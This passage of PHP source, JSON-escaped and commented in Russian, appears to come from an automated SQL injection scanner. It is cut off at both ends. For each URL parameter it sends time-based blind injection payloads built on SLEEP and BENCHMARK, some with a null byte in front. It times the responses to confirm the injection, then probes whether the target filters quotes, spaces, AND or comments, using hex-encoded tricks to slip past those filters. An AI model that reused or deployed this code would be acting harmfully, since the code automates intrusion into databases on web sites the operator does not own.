$this-\u003eurl;\n\t\t}\n\t\t\n\n\t\t//общие данные для всех\n\t\t$this-\u003eset=$this-\u003eparse_link('http://'.$this-\u003eurl);\n\t\tif($this-\u003ehttps){\n\t\t\t$this-\u003eset[\"scheme\"] = 'https';\n\t\t}else{\n\t\t\t$this-\u003eset[\"scheme\"] = 'http';\n\t\t}\n\t\t\n\t\t\n\t\t$this-\u003esec=3;// \u003e=2\n\t\t$this-\u003eset['full'] = $this-\u003eset['scheme'].'://'.$this-\u003eset['host'].$this-\u003eset['path'].'?';\n\t\t$this-\u003eset['sqli'] = 0;\n\t\t\n\t\t$ttt = time();\n\t\t\n\n\t\tforeach($this-\u003eset['query'] as $key =\u003e $val)\n\t\t{\n\t\t\n\t\t\t$new = time();\n\t\t\t$razn = $new-$ttt;\n\t\t\t//стопаем перебор если слишком долго идет\n\t\t\tif($razn\u003e$this-\u003etime_sleep){$this-\u003ed('TIME!!!!  SLEEP!!');return false;}\n\t\t\n\t\t\n\t\t\t//для метода sleep\n\t\t\t$this-\u003eset['sleep']['flt']['tp']=false;//Фильтруется ли вообще что то?\n\t\t\t$this-\u003eset['sleep']['flt']['qt']=false;//Фильтруется ли кавычка?\n\t\t\t$this-\u003eset['sleep']['flt']['sp']=false;//Фильтруется ли пробел?\n\t\t\t$this-\u003eset['sleep']['flt']['ed']=false;//Фильтруется ли комментарий /**/?\n\t\t\t$this-\u003eset['sleep']['flt']['an']=false;//Фильтруется ли слово And?\n\t\t\t$this-\u003eset['sleep']['flt']['nl']=false;//Нужен ли нул байт?\n\t\t\t$this-\u003eset['sleep']['flt']['sq']=false;//Нужена ли ковычка в начале?\n\t\t\t$this-\u003eset['sleep']['flt']['sl']=false;//Можно ли использовать SLEEP\n\t\t\t\n\t\t\t$this-\u003eset['sleep']['hex']= false;\n\t\t\t\n\t\t\t\n\t\t\t//array(\"1111111111111'+UNION+SELECT+\",\"+and+'0'='0\"\n\t\t\t\n\t\t\tif($this-\u003esleep_check1):\n\t\t\t//Класический случай - иньект в условии WHERE\n\t\t\tif(is_numeric($val))\n\t\t\t{\n\t\t\t\t$this-\u003earray_sql['array_sleep'][0]=' AnD SLeeP('.$this-\u003esec.')';\n\t\t\t\t$this-\u003earray_sql['array_sleep'][1]='\u0026\u0026SlEEp('.$this-\u003esec.')'; //\u0026\u0026SLEEP = ANDSLEEP\n\t\t\t}\n\n\t\t\t//Ничего не фильтруется AND+'+SLEEP\t\n\t\t\t$this-\u003earray_sql['array_sleep'][2]=\"' AnD sLeep(\".$this-\u003esec.\") ANd '1\";\n\t\t\t\n\t\t\t//Если фильтруется AND или пробел,кавычка есть\n\t\t\t$this-\u003earray_sql['array_sleep'][3]=\"'\u0026\u0026sLEEp(\".$this-\u003esec.\")\u0026\u0026'1\";\n\t\t\t\n\t\t\t//Пытаемся обрезать фильтр нулевым байтом, мб прокатит\n\t\t\t$this-\u003earray_sql['array_sleep'][4]=chr(0).\"'||SLeeP(\".$this-\u003esec.\")\u0026\u0026'1\";\n\n\t\t\t//А вдруг ветка мускуля ниже пятой, значит ебемся с бенчмарком\n\t\t\tif(is_numeric($val))\n\t\t\t{\n\t\t\t\t$this-\u003earray_sql['array_sleep'][5]=' AnD BeNChMaRK(2999999,MD5(NOW()))';\n\t\t\t\t$this-\u003earray_sql['array_sleep'][6]='\u0026\u0026BeNChMaRK(2999999,MD5(NOW()))';\n\t\t\t}\n\t\t\t//Эта версия для строковых параметров\n\t\t\t$this-\u003earray_sql['array_sleep'][7]=\"' aND BeNChMaRK(2999999,Md5(NoW())) AnD '1\";\n\t\t\t$this-\u003earray_sql['array_sleep'][8]=\"'\u0026\u0026BeNChMaRK(2999999,mD5(NOW()))\u0026\u0026'1\";\n\t\t\t\n\t\t\t$this-\u003earray_sql['array_sleep'][0]=\"' AnD sLeep(\".$this-\u003esec.\") ANd '0'='0\";\n\t\t\t\n\t\t\t//+++++++++++++++++++++++++++++++++++//\n\t\t\t\n\t\t\t//Метод sleep\n\t\t\t$this-\u003etmp=$this-\u003ecreate_get($key,$val);\n\t\t\t$this-\u003etmp=$this-\u003ecreate_packet('',$this-\u003etmp);\n\t\t\t$this-\u003escnd=$this-\u003esend_packet($this-\u003etmp,'header','time');//оригинал\n\t\t\t\n\t\t\t//перебираем всем наши запросы предварительные 8 штук запросов, если 1 находим нормальный,то будем его крутить дальше  и из цикла выходим\n\t\t\tforeach($this-\u003earray_sql['array_sleep'] as $i =\u003e $ff)\n\t\t\t{\n\t\t\t\n\t\t\t\t$this-\u003etmp=$this-\u003ecreate_get($key,$val.$ff);\n\t\t\t\t\n\t\t\t\t$this-\u003etmp=$this-\u003ecreate_packet('',$this-\u003etmp);\n\t\t\t\t\n\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003etmp,'header','time');\n\t\t\t\t\n\t\t\t\t$this-\u003ed($this-\u003etmp,'$this-\u003etmp TIME');\n\t\t\t\t\n\t\t\t\t//return true;\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif($i\u003c5)\n\t\t\t\t{\n\t\t\t\t\n\t\t\t\t\tif($this-\u003etmp \u003e=($this-\u003esec-1)){\n\t\t\t\t\t\n\t\t\t\t\t\t$this-\u003eret['sleep']['type']=1;\n\t\t\t\t\t\t$this-\u003eret['sleep']['key']=$key;\n\t\t\t\t\t\t$this-\u003eret['sleep']['val']=$val;\n\t\t\t\t\t\t$this-\u003eret['sleep']['tp']=$i;\n\t\t\t\t\t\t$this-\u003eret['sleep']['time']=$this-\u003etmp;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\tif($this-\u003etmp-$this-\u003escnd\u003e1)\n\t\t\t\t\t{\n\t\t\t\t\t\t$this-\u003eret['sleep']['type']=1;\n\t\t\t\t\t\t$this-\u003eret['sleep']['key']=$key;\n\t\t\t\t\t\t$this-\u003eret['sleep']['val']=$val;\n\t\t\t\t\t\t$this-\u003eret['sleep']['tp']=$i;\n\t\t\t\t\t\t$this-\u003eret['sleep']['time']=$this-\u003etmp;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t//логирование\n\t\t\t$this-\u003ed($this-\u003escnd,'scnd');\n\t\t\t$this-\u003ed($this-\u003eret,'ret');\t\n\t\t\t$this-\u003ed($this-\u003eset,'set');\n\t\t\t//exit;\n\t\t\tif($this-\u003eret['sleep']['type']) //предварительное тестирование прошёл\n\t\t\t{\n\t\t\t\tif($this-\u003esleep_check2 != TRUE)return 'sleep_metod';\n\t\t\t\t\n\t\t\t}else{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t\t\n\t\t\tendif;//sleep_check1\t\n\t\t\t\n\t\t\tif($this-\u003esleep_check2):\n\t\t\t\n\t\t\tif($this-\u003eret['sleep']['type']) //Определяем, что фильтруется\n\t\t\t{\n\t\t\t\t//Определить фильтрацию на 1.Кавычки 2. Пробел\n\t\t\t\tif($this-\u003eret['sleep']['tp']==0)\n\t\t\t\t{ //AND SLEEP(3)\n\t\t\t\t\t$this-\u003eset['sleep']['flt']['sq']=false;//ковычка в начале не нужна\n\t\t\t\t\t$this-\u003eset['sleep']['flt']['sl']=true; //+sleep\n\n\t\t\t\t\t//Определяем наличие фильтрации кывычки\n\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\" AnD slEEP('\".$this-\u003esec.\"')\")),'header','time');\n\t\t\t\t\t\n\t\t\t\t\t//запрос выполняется, тоесть нас пропустили с кавычкой\n\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1)){ \n\t\t\t\t\t\t//проверяем тоже с кавычкой но в другом месте SLEE'P, посылаем заведо не верный запрос. Если фильтруется то выполнится, если нет то значит кавычка не фильтруется\n\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\" anD SleEE'P(\".$this-\u003esec.\")\")),'header','time');\n\t\t\t\t\t\t//если запрос выполнится, значит зафильтровалась\n\t\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))$this-\u003eset['sleep']['flt']['qt']=true;\n\t\t\t\t\t\telse $this-\u003eset['sleep']['flt']['qt']=false;\n\t\t\t\t\t}else $this-\u003eset['sleep']['flt']['qt']=true;//не пропустили, значит фильтруется\n\n\t\t\t\t\t//Определяем наличие фильтрации двойного комментария\n\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].'/**/AND/**/SLEEP('.$this-\u003esec.')')),'header','time');\n\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))$this-\u003eset['sleep']['flt']['ed']=false;//нет\n\t\t\t\t\telse $this-\u003eset['sleep']['flt']['ed']=true;//фильтруется\n\t\t\t\t\tif($this-\u003eset['sleep']['flt']['ed']||$this-\u003eset['sleep']['flt']['qt'])$this-\u003eset['sleep']['flt']['tp']=true; //tp хоть что то фильтруется\n\t\t\t\t//------------------------------------------------------------//\n\t\t\t\t}else if($this-\u003eret['sleep']['tp']==1)//\u0026\u0026SLEEP(3)\n\t\t\t\t{\n\t\t\t\t\t$this-\u003eset['sleep']['flt']['sq']=false;//ковычка в начале не нужна\n\t\t\t\t\t$this-\u003eset['sleep']['flt']['sl']=true; //sl sleep можно использовать\n\n\t\t\t\t\t//Определяем наличие фильтрации кывычки\n\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"\u0026\u0026SLeeP('\".$this-\u003esec.\"')\")),'header','time');\n\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))$this-\u003eset['sleep']['flt']['qt']=false;//нет\n\t\t\t\t\telse $this-\u003eset['sleep']['flt']['qt']=true;//фильтруется\n\n\t\t\t\t\t//Определение фильтрации пробела при отсутствии фильтрации кавычки\n\t\t\t\t\tif(!$this-\u003eset['sleep']['flt']['qt']){ //кавычка не фильтруется \u0026\u0026SLEEP('0 \"\n\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"\u0026\u0026slEEp('0 \".$this-\u003esec.\"')\")),'header','time');//Заведо ложный запрос SLEEP(0 3) не будет работать, если пробел фильтруется то запрос выполнится\n\t\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))$this-\u003eset['sleep']['flt']['sp']=true;\n\t\t\t\t\t\telse{//еще разок проверим\n\t\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"\u0026\u0026' '=0x20\u0026\u0026SLeeP(\".$this-\u003esec.\")\")),'header','time');\n\t\t\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))$this-\u003eset['sleep']['flt']['sp']=false;\n\t\t\t\t\t\t\telse $this-\u003eset['sleep']['flt']['sp']=true;\n\t\t\t\t\t\t}\n\t\t\t\t\t//если кавычка фильтруется\n\t\t\t\t\t}else{$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"\u0026\u0026SLeep(0 \".$this-\u003esec.\")\")),'header','time');//ложный запрос, выполнится значит фильтруется\n\t\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))$this-\u003eset['sleep']['flt']['sp']=true;\n\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"\u0026\u0026SL eEP(\".$this-\u003esec.\")\")),'header','time');\n\t\t\t\t\t\t\t//если выполнится, то значит не фильтруется\n\t\t\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))$this-\u003eset['sleep']['flt']['sp']=false;\n\t\t\t\t\t\t\telse $this-\u003eset['sleep']['flt']['sp']=true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t//Если не фильтруется пробел то значит фильтруется слово AND\n\t\t\t\t\tif(!$this-\u003eset['sleep']['flt']['sp'])$this-\u003eset['sleep']['flt']['an']=true;\n\t\t\t\t\telse{\n\t\t\t\t\t\t//Определение фильтрации слова AND при наличии фильтрации пробела и отсутствии фильтрации кавычки\n\t\t\t\t\t\tif(!$this-\u003eset['sleep']['flt']['qt']){//если кавычку пропускает\n\t\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"\u0026\u0026'anD'=0x414E44\u0026\u0026SLEep(\".$this-\u003esec.\")\")),'header','time');\n\t\t\t\t\t\t\t//0x414E44 = AND, если выполнится значит не фильтруется\n\t\t\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))$this-\u003eset['sleep']['flt']['an']=false;\n\t\t\t\t\t\t\telse $this-\u003eset['sleep']['flt']['an']=true;\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t//хитрый сука запрос какой то\n\t\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"\u0026\u0026(1)AND@x:=1\u0026\u0026sleEP(\".$this-\u003esec.\")\")),'header','time');\n\t\t\t\t\t\t\t//шняга выполнилась, значит не фильтруется\n\t\t\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))$this-\u003eset['sleep']['flt']['an']=false;\n\t\t\t\t\t\t\telse $this-\u003eset['sleep']['flt']['an']=true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t//Определяем наличие фильтрации двойного комментария при отсутствии фильтрации кавычки\n\t\t\t\t\tif(!$this-\u003eset['sleep']['flt']['qt']){//кавычка не фильтруется\n\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"\u0026\u0026'/**/'=0x2F2A2A2F\u0026\u0026SLeeP(\".$this-\u003esec.\")\")),'header','time'); //0x2F2A2A2F = /**/\n\t\t\t\t\t\t//по идее сюда бы еще проверчку на другие комментарии сделать надо\n\t\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))$this-\u003eset['sleep']['flt']['ed']=false;\n\t\t\t\t\t\telse $this-\u003eset['sleep']['flt']['ed']=true;\n\t\t\t\t\t}else{//кавычка фильтруется\n\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"/**/\u0026\u0026/**/SLEep(\".$this-\u003esec.\")\")),'header','time');\n\t\t\t\t\t\t//запрос выполнится, проверяем дальше\n\t\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1)){\n\t\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"\u0026\u0026sLEep(0/**/\".$this-\u003esec.\")\")),'header','time');\n\t\t\t\t\t\t\t//Заведомо неверный запрос,если sleep исполнился, то фильруется\n\t\t\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))$this-\u003eset['sleep']['flt']['ed']=true;\n\t\t\t\t\t\t\telse $this-\u003eset['sleep']['flt']['ed']=false;\n\t\t\t\t\t\t}else $this-\u003eset['sleep']['flt']['ed']=true;\n\t\t\t\t\t}\n\t\t\t\t\tif($this-\u003eset['sleep']['flt']['ed']||$this-\u003eset['sleep']['flt']['qt']||$this-\u003eset['sleep']['flt']['an']||$this-\u003eset['sleep']['flt']['sp'])$this-\u003eset['sleep']['flt']['tp']=true;\n\t\t\t\t//------------------------------------------------------------//\n\t\t\t\t}else if($this-\u003eret['sleep']['tp']==2)//' AND SLEEP(3) AND '1\n\t\t\t\t{\n\t\t\t\t\t$this-\u003eset['sleep']['flt']['sq']=true; //ковычка в начале\n\t\t\t\t\t$this-\u003eset['sleep']['flt']['sl']=true; //Можно ли использовать SLEEP\n\n\t\t\t\t\t//Определяем наличие фильтрации двойного комментария\n\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"'/**/AND/**/SlEEp(\".$this-\u003esec.\")/**/AND/**/'1\")),'header','time');\n\t\t\t\t\t//если выполнился, значит не фильтруется\n\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))$this-\u003eset['sleep']['flt']['ed']=false;\n\t\t\t\t\telse $this-\u003eset['sleep']['flt']['ed']=true;//если нет, то всё обрезаем и не выполняется запрос.\n\n\t\t\t\t\tif($this-\u003eset['sleep']['flt']['ed'])$this-\u003eset['sleep']['flt']['tp']=true;\n\t\t\t\t//------------------------------------------------------------//\n\t\t\t\t}elseif($this-\u003eret['sleep']['tp']==3)//'\u0026\u0026SLEEP(3)\u0026\u0026'1(И sleep и 1)\n\t\t\t\t{\n\t\t\t\t\t$this-\u003eset['sleep']['flt']['sq']=true;//кавычка в начале\n\t\t\t\t\t$this-\u003eset['sleep']['flt']['sl']=true;//5 версия mysql\n\t\t\t\t\t\n\t\t\t\t\t//определяем фильтрацию пробела, при отсутсвии фильтрации кавычки\n\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"'\u0026\u0026SLeeP('0 \".$this-\u003esec.\"')\u0026\u0026'1\")),'header','time');\n\t\t\t\t\t//заведо не верный запрос. Если выполнился, значит пробел фильтруется\n\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))$this-\u003eset['sleep']['flt']['sp']=true;\n\t\t\t\t\telse{\n\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"'\u0026\u0026' '=0x20\u0026\u0026sLEEp(\".$this-\u003esec.\")\u0026\u0026'1\")),'header','time');\n\t\t\t\t\t\t//если не фильтруется, то всё ок, запрос выполнится\n\t\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))$this-\u003eset['sleep']['flt']['sp']=false;\n\t\t\t\t\t\telse $this-\u003eset['sleep']['flt']['sp']=true;\n\t\t\t\t\t}\n\n\t\t\t\t\t//Если не фильтруется пробел то значит фильтруется слово AND\n\t\t\t\t\tif(!$this-\u003eset['sleep']['flt']['sp'])$this-\u003eset['sleep']['flt']['an']=true;\n\t\t\t\t\telse{\n\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"'And'1'\u0026\u0026SLEep(\".$this-\u003esec.\")\u0026\u0026'1\")),'header','time');\n\t\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))$this-\u003eset['sleep']['flt']['an']=false;\n\t\t\t\t\t\telse $this-\u003eset['sleep']['flt']['an']=true;\n\t\t\t\t\t}\n\n\t\t\t\t\t//Определяем наличие фильтрации двойного комментария\n\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"'\u0026\u0026'/**/'=0x2F2A2A2F\u0026\u0026SleeP(\".$this-\u003esec.\")\u0026\u0026'1\")),'header','time');\n\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))$this-\u003eset['sleep']['flt']['ed']=false;\n\t\t\t\t\telse $this-\u003eset['sleep']['flt']['ed']=true;\n\n\t\t\t\t\tif($this-\u003eset['sleep']['flt']['ed']||$this-\u003eset['sleep']['flt']['sp']||$this-\u003eset['sleep']['flt']['an'])$this-\u003eset['sleep']['flt']['tp']=true;\n\t\t\t\t//------------------------------------------------------------//\n\t\t\t\t}else if($this-\u003eret['sleep']['tp']==4)//'||SLEEP(3)\u0026\u0026'1\n\t\t\t\t{ \n\t\t\t\t\t$this-\u003eset['sleep']['flt']['sq']=true;\n\t\t\t\t\t$this-\u003eset['sleep']['flt']['nl']=true;\n\t\t\t\t\t$this-\u003eset['sleep']['flt']['sl']=true;\n\t\t\t\t\t//определяем фильтрацию пробела с первым нул байтом\n\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].chr(0).\"'\u0026\u0026sLEeP('0 \".$this-\u003esec.\"')\u0026\u0026'1\")),'header','time');\n\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))$this-\u003eset['sleep']['flt']['sp']=true;\n\t\t\t\t\telse{\n\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].chr(0).\"'\u0026\u0026' '=0x20\u0026\u0026sLeEp(\".$this-\u003esec.\")\u0026\u0026'1\")),'header','time');\n\t\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))$this-\u003eset['sleep']['flt']['sp']=false;\n\t\t\t\t\t\telse $this-\u003eset['sleep']['flt']['sp']=true;\n\t\t\t\t\t}\n\n\t\t\t\t\t//Если не фильтруется пробел то значит фильтруется слово AND\n\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].chr(0).\"'AND'1'='1'\u0026\u0026sLeeP(\".$this-\u003esec.\")\u0026\u0026'1\")),'header','time');\n\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))$this-\u003eset['sleep']['flt']['an']=false;\n\t\t\t\t\telse $this-\u003eset['sleep']['flt']['an']=true;\n\n\t\t\t\t\t//Определяем наличие фильтрации двойного комментария\n\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].chr(0).\"'\u0026\u0026'/**/'=0x2F2A2A2F\u0026\u0026sleeP(\".$this-\u003esec.\")\u0026\u0026'1\")),'header','time');\n\t\t\t\t\tif($this-\u003etmp\u003e=($this-\u003esec-1))$this-\u003eset['sleep']['flt']['ed']=false;\n\t\t\t\t\telse $this-\u003eset['sleep']['flt']['ed']=true;\n\n\t\t\t\t\tif($this-\u003eset['sleep']['flt']['ed']||$this-\u003eset['sleep']['flt']['sp']||$this-\u003eset['sleep']['flt']['an'])$this-\u003eset['sleep']['flt']['tp']=true;\n\t\t\t\t//------------------------------------------------------------//\n\t\t\t\t}else if($this-\u003eret['sleep']['tp']==5)\n\t\t\t\t{// AND BENCHMARK(2999999,MD5(NOW()))\n\t\t\t\t\t$this-\u003eset['sleep']['flt']['sq']=false;\n\n\t\t\t\t\t//Определяем наличие фильтрации кывычки\n\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\" AnD BEncHMARk(2999999,Md5(NoW('')))\")),'header','time');\n\t\t\t\t\t\n\t\t\t\t\t//успешно, предполагает, что не фильтруется.\n\t\t\t\t\tif($this-\u003etmp-$this-\u003escnd\u003e1){\n\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\" AND BEnCHM'ARK(2999999,Md5(NoW()))\")),'header','time');\n\t\t\t\t\t\t//Охуеть это была 404 строка)\n\t\t\t\t\t\tif($this-\u003etmp-$this-\u003escnd\u003e1)$this-\u003eset['sleep']['flt']['qt']=true;\n\t\t\t\t\t\telse $this-\u003eset['sleep']['flt']['qt']=false;\n\t\t\t\t\t}else $this-\u003eset['sleep']['flt']['qt']=true;\n\t\t\t\t\t\n\t\t\t\t\n\n\t\t\t\t\t//Определяем наличие фильтрации двойного комментария\n\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].'/**/ANd/**/bENchMARK(2999999,mD5(NOw()))')),'header','time');\n\t\t\t\t\tif($this-\u003etmp-$this-\u003escnd\u003e1)$this-\u003eset['sleep']['flt']['ed']=false;\n\t\t\t\t\telse $this-\u003eset['sleep']['flt']['ed']=true;\n\t\t\t\t\tif($this-\u003eset['sleep']['flt']['ed']||$this-\u003eset['sleep']['flt']['qt'])$this-\u003eset['sleep']['flt']['tp']=true;\n\t\t\t\t\t\t\n\t\t\t\t//------------------------------------------------------------//\n\t\t\t\t}else if($this-\u003eret['sleep']['tp']==6)\n\t\t\t\t{//\u0026\u0026BENCHMARK(2999999,MD5(NOW()))\n\t\t\t\t\t$this-\u003eset['sleep']['flt']['sq']=false;\n\n\t\t\t\t\t//Определяем наличие фильтрации кывычки\n\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"\u0026\u0026BenCHMARK(2999999,mD5(nOW('')))\")),'header','time');\n\t\t\t\t\tif($this-\u003etmp-$this-\u003escnd\u003e1){\n\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"\u0026\u0026bENCHM'ARK(2999999,Md5(Now()))\")),'header','time');\n\t\t\t\t\t\tif($this-\u003etmp-$this-\u003escnd\u003e1)$this-\u003eset['sleep']['flt']['qt']=true;\n\t\t\t\t\t\telse $this-\u003eset['sleep']['flt']['qt']=false;\n\t\t\t\t\t}else $this-\u003eset['sleep']['flt']['qt']=true;\n\t\t\t\t\t//echo('000');\n\t\t\t\t\t\n\t\t\t\t\t//Определение фильтрации пробела при отсутствии фильтрации кавычки\n\t\t\t\t\tif(!$this-\u003eset['sleep']['flt']['qt']){\n\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"\u0026\u0026bENCHMArk(2999 999,mD5(noW()))\")),'header','time');\n\t\t\t\t\t\t//если выполнился, значит фильтруется.\n\t\t\t\t\t\tif($this-\u003etmp-$this-\u003escnd\u003e1)$this-\u003eset['sleep']['flt']['sp']=true;\n\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"\u0026\u0026' '=0x20\u0026\u0026BenCHMARK(2999999,Md5(NOw()))\")),'header','time');\n\t\t\t\t\t\t\tif($this-\u003etmp-$this-\u003escnd\u003e1)$this-\u003eset['sleep']['flt']['sp']=false;\n\t\t\t\t\t\t\telse $this-\u003eset['sleep']['flt']['sp']=true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"\u0026\u0026BENCHmaRK(2999 999,Md5(NoW()))\")),'header','time');\n\t\t\t\t\t\tif($this-\u003etmp-$this-\u003escnd\u003e1)$this-\u003eset['sleep']['flt']['sp']=true;\n\t\t\t\t\t\telse $this-\u003eset['sleep']['flt']['sp']=true;\n\t\t\t\t\t}\n\t\t\t\t\t//Если не фильтруется пробел то значит фильтруется слово AND\n\t\t\t\t\tif(!$this-\u003eset['sleep']['flt']['sp'])$this-\u003eset['sleep']['flt']['an']=true;\n\t\t\t\t\telse{\n\t\t\t\t\t\t//Определение фильтрации слова AND при наличии фильтрации пробела и отсутствии фильтрации кавычки\n\t\t\t\t\t\tif(!$this-\u003eset['sleep']['flt']['qt']){\n\t\t\t\t\t\t\t$this-\u003etmp=$this-\u003esend_packet($this-\u003ecreate_packet('',$this-\u003ecreate_get($this-\u003eret['sleep']['key'],$this-\u003eret['sleep']['val'].\"\u0026\u0026'AND'=0x414E44\u0026\u0026BENCHMArK(2999999,mD5(nOW()))\")),'header','time');\n\t\t\t\t\t\t\tif($this-\u003etmp-$this-\u003escnd\u003e1)$this-\u003eset['sleep']['flt']['an']=false;\n\t\t\t\t\t\t\telse 